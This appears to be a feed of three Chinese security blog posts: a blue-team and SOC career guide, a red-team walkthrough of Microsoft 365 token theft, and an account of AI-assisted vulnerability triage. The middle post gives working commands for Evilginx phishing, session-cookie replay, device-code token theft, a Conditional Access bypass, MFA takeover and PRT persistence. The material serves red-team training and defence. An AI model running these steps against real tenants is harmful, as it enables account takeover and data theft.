面向 2026 年蓝队与 SOC 岗位求职者的实用入行指南，涵盖核心技能、岗位分类、认证建议、实验环境搭建和求职策略。

2026 年网络安全入行指南：SOC 岗位、蓝队技能、实验环境、认证，以及帮助你拿到第一份 offer 的实用建议。

2026 年想要进入网络安全行业，难度前所未有。过去十年间，行业的入门门槛持续升高，拿到第一个岗位或实习机会的竞争也比以往更加激烈。本文将探讨 2026 年进入蓝队和 SOC 岗位所需的条件、真正重要的技能，以及让候选人脱颖而出的关键要素。

在我的职业生涯中，我写过很多关于如何进入安全行业的文章 (从领导岗位中学到的经验)，但内容一直偏重于进入红队方向——我承认那确实是我的主要兴趣所在。不过近来，我越来越多地参与到蓝队相关的工作中。

蓝队也是一个缺乏入门指引的领域——关于如何入行、应该关注什么、有哪些岗位和培训可供选择，外面的相关资料似乎远远不够。

由于我也参与过招聘、面试和录用工作，这篇文章将介绍一些关键的加分项，帮助你找到行业中的第一份工作。文章的核心内容聚焦于蓝队，但同样包含不少关于红队的实用信息。

如果你还没有看过，强烈推荐去看看我的好朋友 Neil Lines 关于如何进入红队/渗透测试的演讲，其中有很多值得思考的内容：

https://www.youtube.com/watch?v=VM6WKk0MqNM

Neil 的演讲风格独到，讲故事的能力出色。他在演讲中深入分享了自己如何进入这个行业、走过了哪些步骤，同时还涵盖了许多精彩的话题。

什么是蓝队

蓝队的核心使命是保护组织免受攻击。具体来说，通常包括监控系统、检测可疑行为、调查安全事件，以及帮助组织提升整体安全水平。

理解防御安全的一个常用框架是以下生命周期：

预防 → 检测 → 响应 → 恢复

尽可能预防攻击，检测突破防线的威胁，响应并加以遏制，最后恢复受影响的系统。

在实际工作中，大多数蓝队岗位会涉及上述流程的多个环节，而能够掌握各环节的技能将帮助你更好地应对各种情况。

核心技能

无论你最终在攻防哪一方，有一些核心技能会让你在这个行业中如鱼得水。同时具备技术能力和社交能力，远比只偏重某一方面更有帮助。

系统管理经验

动手搭建一些东西。运行自己的服务。搞坏它们，再修好它们。理解系统的实际运行方式并学会排障，是安全领域最有价值的基础之一。

写作

写代码、写博客、记录你所学到的一切。

创建一个 GitHub 账号，把你做过或实验过的东西发布出来。不需要多么开创性，只需要展示你的好奇心和理解力。

例如，我创建了 RandomScripts，它只是一个我多年来随手写的工具和脚本的合集，可能在某些场景下用得上。

操作系统基础

你应该能够熟练地使用和排障以下两种操作系统：

• Windows

• Linux

理解进程、服务、身份验证、权限和日志在操作系统层面的工作原理至关重要。

日志与遥测

无论你最终加入红队、蓝队，还是其他颜色团队，理解日志与遥测都极具价值。日志往往是调试问题、理解安全事件、以及还原攻击过程的关键线索。

脚本编程

选一门脚本语言，学好基础。

推荐的选择包括：

• Python

• PowerShell

• Bash

• Kusto Query Language (KQL) - 对蓝队尤其有用，许多组织都在使用 Microsoft Defender XDR 和/或 Sentinel。下面的子章节中提供了一些学习课程和链接。

• 如果你感兴趣，我搭建了一个 Microsoft Defender XDR 的 ludus 环境，可以在这里找到

你不需要成为软件工程师，但理解函数的工作原理、库的使用方法以及简单任务的自动化，会让你受益匪浅。

理解攻击者行为

无论你在红队还是蓝队，理解对手的思维方式和行动模式都会提升你的检测与防御能力——没有什么比深入了解进攻更能强化防守了。这里不是指理解犯罪动机，而是理解攻击者使用的技术、行为和模式。

网络与流量分析

你不需要把 OSI 模型背得滚瓜烂熟。我个人一直用的记忆口诀是：

All People See Trees Near Dalmuir Park

不查 Google 我能说出每一层的名字吗？老实说不能。但对网络有基本的理解、并能分析流量，在调查安全事件时会帮上大忙。另外一个需要了解的重要领域，是行业中有哪些岗位以及如何搜索这些岗位。

岗位介绍

以下是对常见安全岗位的梳理，包括各岗位的入门门槛和主要职责概述，帮助你在求职时更有方向感！

入门级岗位

SOC Analyst (Tier 1) - 安全运营中心的入门级监控与分诊岗位

• 监控来自 SIEM、EDR、IDS 及其他安全工具的告警

• 对告警进行分诊，判定活动性质为正常、可疑或恶意

• 在需要深入调查时将事件升级给高级分析师

• 记录事件并维护调查笔记

Junior SOC Analyst - 以学习为导向的 SOC 岗位，通常配有资深导师

• 协助告警监控和初步调查工作

• 审查日志和终端告警

• 学习调查流程和安全工具的使用

• 支持事件记录和报告编写

Security Operations Analyst - 综合性安全监控岗位

• 监控组织的安全仪表板和告警信息

• 调查可疑的登录活动或终端异常行为

• 协助安全事件响应工作

• 维护对各系统和基础设施的安全态势感知

Threat Intelligence Analyst (Junior) - 专注于威胁情报分析的入门级岗位

• 追踪威胁行为者、攻击活动和新兴漏洞

• 分析威胁报告和情报源

• 编写内部威胁简报

• 为 SOC 调查提供情报支撑

Vulnerability Analyst - 专注于漏洞识别与追踪的岗位

• 对系统和网络执行漏洞扫描

• 审查扫描结果并按优先级排序

• 与 IT 团队协调漏洞修复

• 追踪补丁进度和风险暴露情况

调查与响应岗位

SOC Analyst (Tier 2) - 负责深度调查的中级分析师

• 调查由 Tier 1 分析师升级的告警

• 跨系统和安全平台进行日志关联分析

• 识别攻击技术和可疑行为模式

• 提出遏制或响应建议

Incident Responder - 专注于处理活跃安全事件的专家

• 调查已确认的安全事件

• 协调遏制措施，例如隔离受感染主机

• 对入侵事件进行根因分析

• 与 IT 团队协作，安全地恢复系统

Threat Hunter - 主动搜寻攻击者的分析师

• 在日志和遥测数据中搜索入侵迹象

• 基于攻击者行为建立调查假设

• 调查终端和网络中的可疑活动模式

• 发现绕过自动化检测的隐蔽攻击者

Digital Forensics Analyst - 专注于数字取证的专家

• 分析磁盘镜像、内存转储和日志

• 在事件调查中重建攻击者的行为时间线

• 识别入侵证据

• 在需要时支持法律或合规调查

Malware Analyst - 研究恶意软件的专家

• 对恶意软件样本进行逆向工程

• 识别入侵指标 (IOC) 和攻击技术

• 撰写技术分析报告

• 以恶意软件分析成果支持检测工程

工程与检测岗位

Detection Engineer - 负责构建安全检测规则的专家

• 为 SIEM、EDR 和监控平台开发检测规则

• 将检测规则映射到 MITRE ATT&CK 等攻击技术框架

• 调优告警以减少误报

• 提升各环境的检测覆盖率

Security Engineer - 负责部署和维护安全工具的工程师

• 部署和配置 SIEM、EDR 和日志平台

• 将安全工具集成到组织基础设施中

• 维护日志管道和告警系统

• 支持安全自动化和工具开发

Purple Team Engineer - 连接攻防两端的岗位

• 模拟攻击技术以测试防御控制措施

• 验证检测规则和响应流程

• 与红蓝两队协作提升安全态势

• 识别检测盲区并提出改进建议

领导与战略岗位

SOC Manager - 负责 SOC 运营管理

• 管理 SOC 分析师和调查工作流

• 跨团队协调事件响应

• 制定监控策略和升级流程

• 汇报 SOC 绩效和安全态势

Security Operations Lead - 指导防御战略的高级岗位

• 统筹检测工程和威胁狩猎工作

• 协调跨基础设施的防御能力提升

• 制定事件响应策略和操作手册

• 指导初级分析师和工程师

Threat Intelligence Lead - 指导威胁分析的高级情报岗位

• 主导情报分析工作

• 追踪高级威胁行为者和攻击活动

• 将情报转化为检测能力的提升

• 向管理层提供战略威胁简报

课程与认证

如今可供选择的课程和认证数量庞大。有些质量很高，有些则参差不齐，但现实是：仅凭认证并不足以帮你拿到这个行业的工作。

不过，认证的价值在于为你的学习提供结构，并展示你在特定领域投入过时间和精力。

如果你的目标是蓝队或 SOC 岗位，侧重于实战调查、日志分析、检测和事件响应的认证，往往比纯理论认证更有含金量。

另外需要记住的是，许多组织更看重的是你在实践中能展示出什么，而非简历上认证的数量。说到简历，确保你列出的每一项都能在面试中自信地展开讨论——因为面试时我做的第一件事就是看对方的简历，然后逐一深入了解其中列出的项目和经历。

搭建自己的实验环境

如果你想在求职时脱颖而出，搭建自己的实验环境是最有效的方法之一。我写过很多关于家庭实验室搭建的文章：这里、这里和这里。我也计划近期翻新这套环境，并记录一些新的实践内容。

自己动手运行基础设施所能学到的东西，远比看文档或培训视频要多得多。你会了解系统的真实行为方式、日志是如何生成的、以及系统如何出故障——同时还能培养宝贵的排障能力，尤其是在搭建虚拟化平台和 Active Directory 环境时。

以下是一些可以在家庭实验环境中搭建的简单项目：

• 一个小型 Windows 域环境

• 运行常见服务的 Linux 服务器

• 终端日志和监控工具

• 用于分析日志的 SIEM 平台

• 用于生成攻击流量的存在漏洞的应用

环境搭好之后，就开始动手实验。

搞坏东西。制造可疑活动。分析日志，弄清楚到底发生了什么。

最终目标是建立一个"搭建、破坏、防御、修复"的反馈循环，为你应对真实行业工作打下更好的基础。

求职

我之前提到的 Neil 的演讲 包含了关于如何在行业中找到工作岗位的出色建议。

他提到的一个技巧是，查找那些发布你感兴趣岗位的公司，看看谁已经在那里工作。与类似岗位的人建立联系，有时能让你了解公司在寻找什么样的人才、工作内容是什么样的，偶尔还能知道是否有即将出现的机会。

不过，使用这种方法时要避免过于激进。安全公司尤其会对大量添加员工好友的行为保持警惕，所以请以尊重和专业的态度来处理。

我从最近一次演讲中了解到的另一个实用技巧是，查找与行业内公司合作的猎头并直接联系他们。猎头通常在岗位公开发布之前就已经掌握信息，在职业生涯早期就与猎头建立关系会非常有帮助。

更广泛地说，人脉在这个行业中发挥的作用远比许多人认为的要大。LinkedIn、Twitter和行业招聘网站等平台都很有用，但最好的机会往往来自与人面对面交流。

尽量参加行业会议、参与本地聚会、与志同道合的人交流。安全社区总体上非常开放，在其中建立人脉关系能打开许多仅凭投递简历无法触及的大门。

资源

以下是我整理的各类资源汇总，包括免费课程和数据，以及它们的介绍和用途：

Blue Team Labs Online

简介：

一个以游戏化方式进行防御网络安全挑战训练的在线平台。

推荐理由：

提供实操性的事件调查场景，你可以在其中分析日志、告警和安全事件，体验类似 SOC 分析师的实际工作。

链接：

https://blueteamlabs.online/

Hack The Box Academy

简介：

一个结构化的网络安全学习平台，提供引导式课程模块和实操实验室。

推荐理由：

虽然以攻防安全闻名，但它也包含出色的蓝队课程模块，涵盖检测工程、事件调查和防御工具。

链接：

https://academy.hackthebox.com/

PicoCTF

简介：

一个免费的 CTF (夺旗赛) 平台，涵盖多种安全主题的挑战。

推荐理由：

非常适合通过简短的实操挑战来打好技术基础，涵盖 Web 安全、逆向工程和密码学等领域。

链接：

https://picoctf.org/

Kusto Detective Agency

简介：

一款使用 Kusto Query Language (KQL) 解决数据谜题的调查游戏。

推荐理由：

有助于培养在 Microsoft Sentinel 和 Defender 环境中使用的日志分析和查询技能。

链接：

https://detective.kusto.io/

Security Blue Team - Blue Team Level 1 (BTL1)

简介：

一项专注于入门级防御网络安全技能的认证。

推荐理由：

涵盖实用的 SOC 基础技能，包括威胁检测、事件响应、数字取证和网络监控。

链接：

https://www.securityblue.team/certifications/blue-team-level-1

Blu Raven Academy - Introduction to KQL for Security Analysis

简介：

一门教授 Kusto Query Language 在安全调查中应用的实操课程。

推荐理由：

KQL 在 Microsoft 安全工具中被广泛使用，对于威胁狩猎和 SOC 分析岗位非常有价值。

链接：

https://academy.bluraven.io/course/introduction-to-kql-for-security-analysis

Cisco Networking Academy - Cybersecurity Courses

简介：

Cisco 提供的免费网络安全培训。

推荐理由：

围绕网络、安全原则和网络防御概念提供扎实的基础知识。

链接：

https://www.netacad.com/cybersecurity

Ludus Cyber Range

简介：

一个用于部署真实网络实验环境和安全靶场的平台。

推荐理由：

让你可以模拟攻击并在受控环境中观察防御遥测数据，帮助理解真实攻击在日志中的呈现方式。

链接：

https://ludus.cloud/

Elastic Security (ELK Stack Lab Guide)

简介：

基于 Elasticsearch、Logstash 和 Kibana 的 SIEM 与分析平台。

推荐理由：

广泛用于日志分析和安全分析。在实验环境中运行有助于学习检测管道和日志分析。

链接：

https://docs.ludus.cloud/docs/environment-guides/elastic/

Wazuh

简介：

一个用于终端监控和威胁检测的开源 XDR 和 SIEM 平台。

推荐理由：

提供日志监控、文件完整性监控和安全告警功能，非常适合搭建家庭 SOC 环境。

链接：

https://github.com/wazuh/wazuh

结语

除了写博客、开发工具和做演讲之外，我在职业生涯中还抽出时间写了两本书和一门课程 (https://lms.zsec.red)。这两本书可以在这里免费获取：https://leanpub.com/b/LearningTheRopes/c/dc33dec25，如果你更喜欢纸质版，它们在 Amazon 全球均可购买并按需印刷 (Amazon 负责印刷并邮寄给你)

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

从红队视角剖析 Microsoft 365 token 窃取武器化:借助 Evilginx 钓鱼、TokenTactics 设备代码绕过、OS/2 user agent 突破 trustType 条件访问,并通过 roadtx 接管休眠账户的 MFA 与设备注册,最终在启用 Entra ID join 的云环境中获得长达 90 天的持久访问。

本博客是一系列深入研究 token 窃取武器化主题的开篇。本文的重点是围绕设备的条件访问 (Conditional Access),以及攻击者入侵 Microsoft 365 用户时的行为方式。最终,某些条件将使我们能够对所选用户和目标设备保持长达 90 天的持久访问。

1 企业设备场景

Microsoft 近期建议将新设备以云原生 (cloud-native) 方式通过 Microsoft Entra join 进行部署,不再推荐使用 Microsoft Entra hybrid join。下面这篇关于部署 Microsoft Entra 混合加入设备的文章中给出了这一重要提示。

图 1 - 关于 Hybrid Entra ID Join 的重要提示

https://learn.microsoft.com/en-us/autopilot/windows-autopilot-hybrid

虽然这篇文章主要讲的是 Windows Autopilot,但该提示似乎面向任何新设备。如果你的组织正在使用 Hybrid Azure AD Join,建议测试一下云原生方案,以判断它对你的组织是否可行。

1.1 什么是 Entra Hybrid Join?

混合加入 (Hybrid joined) 设备选项是在 Azure Active Directory Connect 的 Device systems 选项下配置的。

图 2 - Entra ID Connect 选项

当通过 Azure Active Directory Connect 在内部 AD 域上强制启用混合加入时,条件访问通常只是次要目标,主要目标是确保公司自有资产能够访问任何云工作负载,同时对个人设备使用不同的条件访问策略集进行管控。在 Entra ID 门户中查看设备时,你会看到列出的设备状态为 "Microsoft Entra hybrid joined"。

图 3 - Entra Hybrid Joined 设备

下面是一个可在混合加入场景下强制实施的示例策略集。

图 4 - 要求 Hybrid Joined 设备的条件访问策略

现在假设这些策略和设置已被移除,改为采用 Microsoft Entra ID join。这会让你更不安全吗?会让你更容易遭遇 token 窃取吗?向云原生 Entra ID join 切换在规划和执行过程中很可能会带来一些麻烦。虽然本博客不会深入讨论那些问题,但会深入分析条件访问中可能导致 token 窃取的暴露面。目前还没有条件访问策略模板可以要求必须使用 Microsoft Entra ID join 才能访问云工作负载。你可以要求设备被标记为合规 (compliant),但这需要在 Intune 中进行额外配置(前提是你拥有相应许可证)。

本博客稍后会深入探讨在 Entra ID join 场景下绕过 trustType过滤器的方法。

下面我们来看一下攻击者如何利用社会工程手段获取 Azure 和 Microsoft 365 数据的访问权限。

2 写给红队的"攻心术"

接下来,我们将评估两 (2) 套不同的工具集,用于通过社会工程让用户主动给我们 Azure 的访问权限。在大多数情况下,我们会获得对 Azure 以及 Exchange Online、SharePoint Online 等云数据的低权限用户访问 (具体取决于条件访问策略)。下文步骤都假设当前唯一生效的条件访问策略是"对所有用户/所有云工作负载强制 MFA"。

Evilginx 场景

在演示如何对最终用户实施成功的钓鱼之前,我想先介绍一下如何在开发者模式 (developer mode) 下搭建 Evilginx。开发者模式对渗透测试人员和红队人员极其有用。它不需要你暴露 VPS,你可以先在内部完成自己的 phishlet 开发,再到真实环境中开展社会工程。本文只介绍如何搭建开发者模式环境;phishlet 开发部分需要你自行完成。

Kali Linux 自带了 Evilginx 软件包,初始安装非常简单。在 Kali Linux 上可以使用以下命令进行安装(注意:在 Kali 中 Evilginx2 实际安装的是版本 3):

sudo apt install evilginx2

安装完成后,可以使用以下命令以开发者模式启动 Evilginx:

sudo evilginx2 -developer

接下来配置将要使用的内部域名和内部 IP 地址。我更倾向于在虚拟化环境中完成配置。下面是我搭建的本地域名示例。

图 5 - Evilginx 本地域名配置

此时你需要先退出 Evilginx,把你的域名加入到位于 /etc/hosts的 hosts 文件中,同时确保你的 phishlet 存放在 /usr/share/evilginx2/phishlets目录下。

接下来,使用 Evilginx 自签名证书更新你的证书根存储。下面是我使用的命令流程:

sudo cp /root/.evilginx/crt/ca.crt /usr/local/share/ca-certificates/evilginx.crtsudo update-ca-certificatessudo cp /root/.evilginx/crt/ca.crt /home/kali/Downloadssudo chown kali /home/kali/Downloads/ca.crt

完成 hosts 文件修改后,便可以重启 Evilginx 进入开发模式,然后配置 phishlet 和 lure。phishlet 配置可以使用以下命令:

phishlets hostname <phishlet_name> <domain name>phishlets enable <phishlet_name>

完成 phishlet 配置后,接下来设置 lure。可以使用以下命令创建 lure:

lures create <phishlet_name>

要查看 lure ID,只需输入以下命令:

lure

如果需要获取某个 lure 的 URL,可以通过指定 lure 的 ID 来获取,例如:

lures get-url 0

现在我们假设钓鱼邮件已经发出,并且成功钓到了一个使用 Microsoft Authenticator 应用进行保护的 Microsoft 365 用户。我们的 phishlet 被设计用于获取窃取的 session cookie 信息,以便在 Web 浏览器中重放。

图 6 - Evilginx 钓鱼捕获到的 Session Cookie

你可以使用 Firefox 的 Cookie Editor 插件导入这些会话信息。一旦导入,如果没有额外的条件访问保护措施,我们就可以访问 Microsoft 365 服务,包括被入侵用户的安全信息。这就为添加 MFA 方法 (包括无密码登录) 提供了机会。

图 7 - 导入 Session Cookie 信息

掌握这些之后,我们现在拥有以下资源:

• 用户密码

• 攻击者控制下的 MFA 方法

• 来自 Evilginx 钓鱼的 session cookie (可绕过 MFA)

2.2 使用 TokenTactics 获取 token

通常最好从多个角度推进入侵。session cookie 和后门化 MFA 方法是不错的成果,但访问令牌 (access token) 和刷新令牌 (refresh token) 更胜一筹。在已经使用 Cookie Editor 注入会话信息的同一个浏览器会话中,我们可以借助 TokenTactics 在不惊动最终用户的情况下获取 token,因为我们已经持有可用的被窃会话,可以直接接受设备代码 (device code) 请求。

图 8 - 来自 TokenTactics 的 Device Code 请求

在被入侵的浏览会话中使用 device code 完成认证后,会出现一条要求登录 Microsoft Office 的提示。

图 9 - Office 登录请求

接受提示后,你就会得到一些 token。可以使用攻击性工具进行侦察和数据外发。在这种场景下,我通常会用三 (3) 个工具配合窃取到的 token:ROADrecon、GraphRunner 和 AzureHound。

图 10 - 来自 TokenTactics 的 Refresh Token

下面是一份便捷的速查表,展示在已经从 TokenTactics 获取了初始 token 的前提下,如何为每款攻击性工具请求所需 token。前几条命令是通过 TokenTactics 完成的。

ROADrecon:

Invoke-RefreshToGraphToken
$GraphToken.access_token
roadrecon auth --access-token eyJ0eXA
roadrecon gather

GraphRunner:

Invoke-RefreshToMSGraphToken
$MSGraphToken.access_token
$MSGraphToken.refresh_token
Invoke-ImportTokens -AccessToken "eyJ0eXA" -RefreshToken "0.AVAAp"

AzureHound:

Invoke-RefreshToMSGraphToken
$MSGraphToken.refresh_token
./azurehound -r "0.ARwA6Wg..." list --tenant "<tenant_domain>" -o output.json

3 利用 Microsoft Entra ID Join 武器化 token 窃取

场景:

某云环境在条件访问中使用 trustType来缓解 token 窃取。这时使用 Evilginx 对用户进行钓鱼将会失败,因为我们会遇到以下提示:

图 11 - 条件访问拦截

之所以会出现这个条件访问错误,是因为我们用恶意域名钓鱼时,Evilginx 充当了反向代理的角色。反向代理永远不可能是 Entra ID joined 的,这就是最终用户会遇到此类错误的原因。

3.1 什么是 trust type?

在条件访问中,你可以按属性和值对设备进行过滤。其中一个值就叫做 trustType。虽然我尚未在真实环境中见过这个设置被实际启用,但组织确实可以借此尝试控制哪些设备类型能够访问云工作负载。例如,可以针对 Entra ID join 这一 trustType配置条件访问拦截,适用于管理员不希望个人桌面或笔记本电脑连接到公司云资源的场景。下面是一个示例过滤器配置。

图 12 - 针对 Entra Joined 设备的设备过滤器

下面的截图展示了该过滤器纳入的设备平台。

图 13 - 设备平台过滤

为了让这条条件访问策略形成完整闭环,会将 Grant 控制项设为 Block access。

图 14 - 拦截非公司自有设备的访问

3.2 利用 OS2/Warp Agent 与设备代码钓鱼绕过 trustType

我使用 TokenTactics 的一个 fork (TokenTacticsV2) 进行设备代码钓鱼,首先用以下命令以 OS/2 user agent 请求一个 MSGraph token:

Import-Module ./TokenTactics.psd1
Get-AzureToken -Client MSGraph -Device OS/2

图 15 - 使用 OS/2 Warp Agent 发起的 Device Code 请求

从 TokenTacticsv2 拿到初始 token 后,需要将其刷新为常规的 graph token。之所以能够成功返回 token,是因为 OS/2 设备 agent 不会在条件访问的标准设备平台中被纳入评估。

图 16 - 使用 Access Token 进行 Roadrecon 扫描

收集操作完成后,使用以下命令启动 ROADrecon 的 GUI:

roadrecon gui

这会在 5000 端口启动一个 flask 应用,你将获得大量信息,可用于发起密码喷洒攻击或扩展定向钓鱼行动。

图 17 - Roadrecon 仪表板

横向移动的另一条潜在路径是使用 GraphRunner 在被入侵用户的邮箱中搜索密码。可以拿这些密码进行喷洒,或通过密码喷洒攻击查看它们是否被复用在其他地方。

图 18 - 在邮件中搜索密码

你也可以在 SharePoint Online 中搜索密码。

图 19 - 在 SharePoint Online 中搜索密码

3.3 接管休眠账户/服务账户的 MFA

已知 APT29 (Cozy Bear) 经常滥用休眠的 Microsoft 365 账户,包括利用 MFA 的自助注册流程。

https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft

许多组织没有在条件访问中保护其安全信息注册流程,这最终就形成了账户接管的缺口。在 token 窃取的最后这一部分,我将演示如何利用用户、设备和 MFA 实现对一个启用了 Entra ID join 条件访问的云环境的持久访问。

只需一 (1) 次使用弱密码的密码喷洒、一次成功的钓鱼,或者在 Microsoft 365 服务中搜索密码,就能找到一些可能未启用 MFA 的休眠账户。服务账户几乎从不注册 MFA,甚至可能存在阻止启用 MFA 的限制。这类账户通常没有针对云身份验证的访问限制。在博客的最后一步中,我们将使用 Firefox 的一个 agent switcher 插件来寻找绕过条件访问策略的方法,并使用名为 roadtx 的工具,通过主刷新令牌 (Primary Refresh Token, PRT) 维持持久访问。

到目前为止,我们已经具备如下场景:

• 通过密码喷洒获得的休眠账户用户名和密码

• 该休眠账户未启用 MFA

• 条件访问策略限制所有用户只能从 Entra ID joined 设备访问

• 对修改安全信息没有任何限制

接下来,我们将探讨如何使用 roadtx 来绕过这些限制。首先使用以下命令进行交互式认证以完成设备注册:

roadtx interactiveauth -u username@domain.local-p 'password'-r devicereg

由于该账户处于休眠状态,系统会要求我们注册 MFA。

图 20 - MFA 注册提示

接下来,在 roadtx 中使用以下命令为我们的设备命名:

roadtx device -n hackerdevice1337

图 21 - 设备注册

上述命令会为该设备生成一对公钥/私钥,这在后续的主刷新令牌 (PRT) 配对以及 MFA 富化 (enrichment) 过程中是必需的。

接下来,我们启动主刷新令牌流程,并通过 roadtx 将所有相关信息保存到文件中。需要执行以下命令:

roadtx prt -u username@domain.local-p 'password'--key hackerdevice1337.key --cert-pem hackerdevice1337.pem

只要拿到 PRT 和会话密钥 (session key),就可以进入下一步了。

图 22 - 通过设备证书获得的 Roadtx Session Key

接下来这一步需要 MFA,理想情况是该账户已经注册了由攻击者控制的 MFA 方法。富化流程需要执行以下命令:

roadtx prtenrich --prt roadtx.prt

图 23 - 为主刷新令牌添加 MFA Claim

收到的 refresh token 是一个带有 MFA claim 的特殊 refresh token。现在我们可以使用它,通过以下命令将 MFA claim 加入到主刷新令牌中:

roadtx prt -u username@domain.local-p 'password'--key hackerdevice1337.key --cert-pem hackerdevice1337.pem -r "0AVAA.."

图 24 - 将特殊 Refresh Token 加入到 PRT 中

至此,你可以使用 browserprtinject功能,自动访问任何指定的 Microsoft 365 或 Azure URL,例如 Microsoft Office。

roadtx browserprtinject -u username@domain.local--prt roadtx.prt -url http://office.com

图 25 - 访问 Microsoft 365

如果我们简要查看一下在 Azure 中创建的这台设备,会看到它的状态是 Microsoft Entra ID joined。

图 26 - Entra ID 设备状态

敬请期待这一系列博客的第 2 部分,届时我会专门聚焦于针对 token 窃取攻击者的反制与干扰。

最后,我也要特别感谢本博客中提到的以下工具集,以及为它们投入大量时间和开发精力的优秀作者们。

@_dirkjan - Dirk-jan Mollema ROADtools
https://github.com/dirkjanm/ROADtools

@424f4f424f - Steve Borosh - TokenTactics
https://github.com/rvrsh3ll/TokenTactics

@fabian_bader - Fabian Bader - TokenTacticsV2
https://github.com/f-bader/TokenTacticsV2

@dafthack - Beau Bullock - GraphRunner
https://github.com/dafthack/GraphRunner

向 AzureHound 的全体贡献者团队致敬
https://github.com/BloodHoundAD/AzureHound

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

安全团队通过归档过时仓库、自动化分级分类（SAST/SCA）以及多智能体协同验证与修复，将漏洞管理流程实现了近乎全自动化，大幅减少了人工介入和开发者上下文切换的负担。

随着产品规模不断扩大、工程师们纷纷采用 AI 工具，安全团队需要保护免受漏洞影响的代码量也与日俱增。

我们的工具产生了大量安全信号，而我们的瓶颈比以往任何时候都更在于规模：要快速发现真实问题、完成验证，并在 SLA 规定时限内把修复推上线。

验证和修复是最慢的两个环节：两者都需要跨多个我们未必熟悉的代码仓库去分析功能代码，最终还得把代码原作者拉来处理这个安全问题，迫使他们切换上下文，徒增认知负担。

从去年夏天开始，我们决定按以下两条原则来改善现状：

• 将开发者在安全工作中的认知负担降到最低

• 将安全团队的重复性劳动降到最低：能自动化的，就该自动化

我们开始尝试编码智能体能否加速漏洞验证与修复，最终搭建起一套由 AI 驱动的漏洞管理项目的基础框架。

我们的首要目标是代码漏洞，因为这类漏洞所需的上下文最少。我们重点处理静态分析 (SAST) 和供应链 (SCA) 的发现项，因为这两类发现的流入量最大。

缩减积压

首先，我们将过时的代码仓库从攻击面中移除。

我们运行自动化流程来检测过时的仓库，断开 CI/CD 连接，并将其设置为只读。当我们归档某个仓库时，便不再追踪其漏洞，因为该代码已不再运行。

在初期阶段，我们分批次推进此项工作，以处理大量长尾问题。我们归档了约三分之一的代码仓库，关闭了约 60% 的发现项。在归档前，我们与负责人逐一确认，同时通过删除容器镜像等旧有构建产物来回收存储空间。

接下来，我们把工作重心落到 "如何按业务风险给仓库分级" 这件事上：

• 是否触及客户数据？

• 是否随核心产品一起发布？

• 是否直接对客户暴露？

三项均为是：第 1 级。至少一项为是：第 2 级。全部为否：第 3 级。

分级机制为验证和优先级排序引入了业务上下文，同时也是潜在影响的代理度量。

自动化分类

即便仓库集合已经收紧，我们仍然要应对来自 SAST 和 SCA 的大量发现项。我们的假设是：其中大多数并不需要人工审查。

我们构建了每晚运行的工作流，应用分层的分类规则。每一层对应一项策略决策。

基于严重性的分类

低于某一风险阈值的发现项会被自动归类为已接受。对于小团队来说，我们必须合理分配资源。如果低优先级仓库中的低风险发现项不断在待办里堆积，会拖慢我们的节奏。把这条策略明确下来并自动化，团队就能腾出手来专注真正重要的事。

这让进入流转的 SAST 问题量减少了约 29%。

AI 辅助误报检测

我们的主要 SAST 提供商 Semgrep 推出了一项名为 Assistant 的功能，能借助 AI 把发现项标记为疑似真实发现或疑似误报。我们对它做了一段时间的基准测试，发现在结合所分析代码库的即时上下文之后，Assistant 几乎总能把显而易见的误报准确识别出来。在对该工具建立起足够的信任之后，我们将其接入流程：凡被标记为误报的发现项均会自动关闭。

我们还注意到，当上下文缺失时，Assistant 会偏向把结果判为真实发现——这与我们的风险偏好相符：比起漏掉一个真实漏洞，我们宁愿手动关闭一个误报。

我们还把 Assistant 的输入用来对主要策略中所用的 Semgrep 规则做基准评估。噪声大的规则会被重新审视，要么调优、要么移除；信噪比高的规则则获得更高的信任度。

供应链分析

对于 SCA 的发现项，我们把 EPSS 评分、依赖项可达性分析以及系统分级 (作为业务影响的代理度量) 结合在一起使用。一个第 3 级仓库里不可达的依赖项，与一个处理客户数据的第 1 级仓库里可达且 EPSS 高的漏洞，根本不是一回事。

这一层自动分类了约 89% 的 SCA 发现项，剩下的就是值得人工审查的案例。

结果

所有层级运行完毕后：

SAST weekly (71% Auto triaged)
Severity-based triage:                  29%
Semgrep false positive detection:       16%
Auto resolved (archived, code changes): 26%
Remaining for human review:             29%
SCA weekly (89% Auto triaged)
EPSS, Reachability and Business Impact: 89%
Remaning for human review:              11%

每天早晨，我们的自动化系统会在 Slack 中发布一份摘要：按工作流和严重性分类的处理结果，以及各规则表现的细项分析。这是我们用来快速确认系统是否按预期运行的检查机制。

更快地完成验证与修复

经过漏斗筛选后留下的，是 high 和 critical 级别的发现项——它们大概率是真问题，且位于重要的代码仓库中。这些发现需要被验证并加以修复。

传统流程很慢：安全工程师审查发现项，理解代码库，判断问题是否真实，撰写修复指引，提交工单；然后开发者切换上下文来实施修复，几周之后才能上线。

为此，我们改用了编码智能体。

我们在 Github 工作流之上构建了一个智能体编排器。第一件事就是把 critical 级别的发现项自动转化为带结构化上下文的 Github Issue，其中包含代码链接、Semgrep 分析、严重性等级以及触发规则。

验证

Issue 创建之后，另一个工作流会拉起三个相互独立的编码智能体来分析该发现。

我们之所以选择三个，是为了降低不确定性。奇数是有意为之：当智能体之间产生分歧时，编排器可以做出最终裁决，而不会陷入僵局。随着模型不断进步，达成共识的情况越来越普遍，但多智能体架构仍能抓出单个智能体自信给出的错误答案。

每个智能体的分析结果都会被汇总到 Issue 中。若达成共识，Issue 会被打上 true-positive或 false-positive标签。误报会立即关闭，并附上相应说明。

这套系统让我们得以自动分类剩下 29% 的 SAST 积压，结果如下：

SAST weekly (100% Auto triaged)
Severity-based triage:                  29%
Semgrep false positive detection:       16%
Auto resolved (archived, code changes): 26%
Custom agent false positives:           18%
Custom agent true positives:            11%

修复

对于已确认为真实漏洞的发现项，true-positive标签会触发一个智能体，自动创建分支、实施安全修复并发起 Pull Request。

